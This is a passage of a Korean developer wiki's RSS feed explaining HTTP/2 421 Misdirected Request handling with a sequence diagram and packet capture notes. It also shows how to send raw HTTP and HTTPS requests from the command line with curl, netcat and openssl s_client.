d=&quot;M 1,2 L 6,7 M 6,2 L 1,7&quot; style=&quot;stroke-dasharray: 0, 0;&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;filled-head&quot; refX=&quot;15.5&quot; refY=&quot;7&quot; markerWidth=&quot;20&quot; markerHeight=&quot;28&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 18,7 L9,13 L14,7 L9,1 Z&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;sequencenumber&quot; refX=&quot;15&quot; refY=&quot;15&quot; markerWidth=&quot;60&quot; markerHeight=&quot;40&quot; orient=&quot;auto&quot;&gt;&lt;circle cx=&quot;15&quot; cy=&quot;15&quot; r=&quot;6&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;g&gt;&lt;rect x=&quot;414&quot; y=&quot;109&quot; fill=&quot;#EDF2AE&quot; stroke=&quot;#666&quot; width=&quot;10&quot; height=&quot;418.5&quot; class=&quot;activation0&quot; /&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;50&quot; y=&quot;537.5&quot; fill=&quot;#EDF2AE&quot; stroke=&quot;#666&quot; width=&quot;394&quot; height=&quot;207&quot; class=&quot;note&quot; /&gt;&lt;text x=&quot;247&quot; y=&quot;543&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;247&quot;&gt;tab1 커넥션을 끊으면 안된다.&lt;/tspan&gt;&lt;/text&gt;&lt;text x=&quot;247&quot; y=&quot;560&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;247&quot;&gt;tab1 커넥션을 끊어버리면,&lt;/tspan&gt;&lt;/text&gt;&lt;text x=&quot;247&quot; y=&quot;577&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;247&quot;&gt;tab1에서 페이지 이동이 있을 경우&lt;/tspan&gt;&lt;/text&gt;&lt;text x=&quot;247&quot; y=&quot;594&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;247&quot;&gt;(serv1 도메인으로 추가 요청을 진행할 경우)&lt;/tspan&gt;&lt;/text&gt;&lt;text x=&quot;247&quot; y=&quot;611&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;247&quot;&gt;Client Hello 부터 세션을 다시 맺어야 한다.&lt;/tspan&gt;&lt;/text&gt;&lt;text x=&quot;247&quot; y=&quot;628&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;247&quot;&gt;​&lt;/tspan&gt;&lt;/text&gt;&lt;text x=&quot;247&quot; y=&quot;645&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;247&quot;&gt;HTTP/2 에서 421 에러코드가 있는 이유이며&lt;/tspan&gt;&lt;/text&gt;&lt;text x=&quot;247&quot; y=&quot;662&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;247&quot;&gt;301 Redirect 등으로 커넥션을 끊어버리면&lt;/tspan&gt;&lt;/text&gt;&lt;text x=&quot;247&quot; y=&quot;679&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;247&quot;&gt;serv1 (tab1)커넥션이 끊겨&lt;/tspan&gt;&lt;/text&gt;&lt;text x=&quot;247&quot; y=&quot;696&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;247&quot;&gt;해당 탭에서 다시 세션을 맺어야 하기 때문에 &lt;/tspan&gt;&lt;/text&gt;&lt;text x=&quot;247&quot; y=&quot;713&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;noteText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;247&quot;&gt;TLS HandShaking으로 인한 부하가 발생할 수 있다.&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;414&quot; y=&quot;788.5&quot; fill=&quot;#EDF2AE&quot; stroke=&quot;#666&quot; width=&quot;10&quot; height=&quot;238.5&quot; class=&quot;activation0&quot; /&gt;&lt;/g&gt;&lt;text x=&quot;244&quot; y=&quot;80&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab1 - serv1.iasdf.com&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;109&quot; x2=&quot;411&quot; y2=&quot;109&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;245&quot; y=&quot;124&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab1 - TLS HandShake&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;153&quot; x2=&quot;414&quot; y2=&quot;153&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;532&quot; y=&quot;168&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;serv1.iasdf.com&lt;/text&gt;&lt;line x1=&quot;424&quot; y1=&quot;197&quot; x2=&quot;639&quot; y2=&quot;197&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;533&quot; y=&quot;212&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;serv1 - TLS HandShake&lt;/text&gt;&lt;line x1=&quot;424&quot; y1=&quot;241&quot; x2=&quot;642&quot; y2=&quot;241&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;535&quot; y=&quot;256&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;642&quot; y1=&quot;285&quot; x2=&quot;427&quot; y2=&quot;285&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;247&quot; y=&quot;300&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;414&quot; y1=&quot;329&quot; x2=&quot;79&quot; y2=&quot;329&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;244&quot; y=&quot;344&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab2 - serv2.iasdf.com&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;373&quot; x2=&quot;411&quot; y2=&quot;373&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;247&quot; y=&quot;388&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 421 Misdirected Request&lt;/text&gt;&lt;line x1=&quot;414&quot; y1=&quot;419&quot; x2=&quot;79&quot; y2=&quot;419&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;244&quot; y=&quot;434&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab2 - RST_STREAM&lt;/text&gt;&lt;text x=&quot;244&quot; y=&quot;452&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;421 에러코드로 인해 스트림 종료&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;481.5&quot; x2=&quot;411&quot; y2=&quot;481.5&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;247&quot; y=&quot;497&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;ACK (FIN 아님, tab1 커넥션 끊지 않음.)&lt;/text&gt;&lt;line x1=&quot;414&quot; y1=&quot;527.5&quot; x2=&quot;79&quot; y2=&quot;527.5&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;244&quot; y=&quot;760&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab2 - serv2.iasdf.com&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;788.5&quot; x2=&quot;411&quot; y2=&quot;788.5&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;245&quot; y=&quot;804&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab2 - TLS HandShake&lt;/text&gt;&lt;text x=&quot;245&quot; y=&quot;821&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;(New Connection)&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;851&quot; x2=&quot;414&quot; y2=&quot;851&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;632&quot; y=&quot;866&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;serv2.iasdf.com&lt;/text&gt;&lt;line x1=&quot;424&quot; y1=&quot;895&quot; x2=&quot;839&quot; y2=&quot;895&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;633&quot; y=&quot;910&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;serv2 - TLS HandShake&lt;/text&gt;&lt;line x1=&quot;424&quot; y1=&quot;939&quot; x2=&quot;842&quot; y2=&quot;939&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;635&quot; y=&quot;954&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;842&quot; y1=&quot;983&quot; x2=&quot;427&quot; y2=&quot;983&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;247&quot; y=&quot;998&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;414&quot; y1=&quot;1027&quot; x2=&quot;79&quot; y2=&quot;1027&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;/svg&gt; &lt;p&gt;새로운 커넥션으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt; 에 접속하게 되어, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt; 페이지가 응답된다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-05-31-14-36-20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;details&gt; &lt;summary&gt;WireShark 패킷 분석 내용&lt;/summary&gt; &lt;div&gt; &lt;p&gt;serv1 - 연결, 클라이언트 TCP 포트 54250&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-05-31-16-19-00.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;serv2 - 연결, 클라이언트 TCP 포트 54250 으로 커넥션 재사용 시,&lt;br /&gt; HAProxy에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP/2 421 Misdirected Request&lt;/code&gt; 응답&lt;br /&gt; 클라이언트는 421 응답을 받고, RST_STREAM을 보내 해당 탭의 HTTP/2 스트림을 중지(종료 아님)한다.&lt;/p&gt; &lt;p&gt;이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt; 으로 새로운 커넥션을 맺어 통신한다. (TCP 포트 54253)&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-05-31-16-19-31.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;301 Redirect 와 달리, serv1 커넥션을 끊지 않는다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-05-31-16-21-28.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;/div&gt; &lt;/details&gt; </description><pubDate>Mon, 03 Jun 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/protocol/http2_421</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/protocol/http2_421</guid> <category>HTTP/2</category> <category>protocol</category> </item> <item><title>CLI에서 HTTP RAW REQUEST 해보기</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;hr /&gt; &lt;h1 id=&quot;content&quot;&gt;content&lt;/h1&gt; &lt;p&gt;“HTTP 완벽 가이드” 라는 책을 보다가 HTTP 연결은 telnet을 통해 가능하다는 이야기가 있어 curl을 통해 raw request를 하는 방법을 생각해보았다.&lt;/p&gt; &lt;h1 id=&quot;http&quot;&gt;HTTP&lt;/h1&gt; &lt;p&gt;아래 내용을 통해 HTTP Raw Request 연결이 가능하다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-en&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;GET /ip HTTP/1.1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Host: www.iasdf.com&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | curl &lt;span class=&quot;s2&quot;&gt;&quot;telnet://www.iasdf.com:80&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;파일을 하나 만들고&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;GET /ip HTTP/1.1 Host: www.iasdf.com &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이것을 cat으로 출력한 뒤 curl로 리다이렉트 해도 된다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;test.http | curl &lt;span class=&quot;s2&quot;&gt;&quot;telnet://www.iasdf.com:80&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http_cli.md_img/img_2024-04-02-20-27-46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;하지만 패킷을 뜯어보면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\r\n&lt;/code&gt; 으로 구분되는 것이 아닌 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\n&lt;/code&gt; 으로만 구분되는 것을 확인할 수 있다.&lt;/p&gt; &lt;p&gt;따라서 curl 명령어를 좀 바꿔줘야 한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat&lt;/code&gt; 명령어에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-A&lt;/code&gt; 옵션을 붙이면 라인의 맨 마지막에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$&lt;/code&gt; 문자가 붙는다. 이를 이용해서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\n&lt;/code&gt; 문자를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\r\n&lt;/code&gt; 문자로 변경해 줄 것이다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# 마지막 달러문자를 \r 문자로 변경&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-A&lt;/span&gt; test.http | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/\$$/\r/&apos;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 이것을 그대로 curl 요청한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-A&lt;/span&gt; test.http | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/\$$/\r/&apos;&lt;/span&gt; | curl &lt;span class=&quot;s2&quot;&gt;&quot;telnet://www.iasdf.com:80&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http_cli.md_img/img_2024-04-02-20-30-55.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;이번엔 제대로 CRLF 문자로 나타나지는 것을 볼 수 있다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; - telnet이 아니더라도 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netcat&lt;/code&gt; (nc) 을 이용해 요청할 수도 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-en&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;GET /ip HTTP/1.1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Host: www.iasdf.com&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | nc www.iasdf.com 80 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;https&quot;&gt;HTTPS&lt;/h1&gt; &lt;p&gt;https는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl s_client&lt;/code&gt; 를 사용한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl s_client&lt;/code&gt; 에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-crlf&lt;/code&gt; 옵션을 사용하면, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LF(\n)&lt;/code&gt; 만 있는 내용을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CRLF(\r\n)&lt;/code&gt; 으로 변경할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;test.http | openssl s_client &lt;span class=&quot;nt&quot;&gt;-keylogfile&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;/sslkeylog.log &lt;span class=&quot;nt&quot;&gt;-crlf&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ign_eof&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-connect&lt;/span&gt; www.iasdf.com:443 &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; EOF &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-A&lt;/span&gt; test.http | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/\$$/\r/&apos;&lt;/span&gt; | openssl s_client &lt;span class=&quot;nt&quot;&gt;-keylogfile&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;/sslkeylog.log &lt;span class=&quot;nt&quot;&gt;-quiet&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-connect&lt;/span&gt; www.iasdf.com:443 &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; EOF &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;http2&quot;&gt;HTTP/2&lt;/h1&gt; &lt;p&gt;HTTP/2 는 바이너리 형식의 프로토콜이라 RAW String을 가지고 그대로 요청하는 것에 한계가 있다. (특정한 툴을 사용하거나 HTTP/2 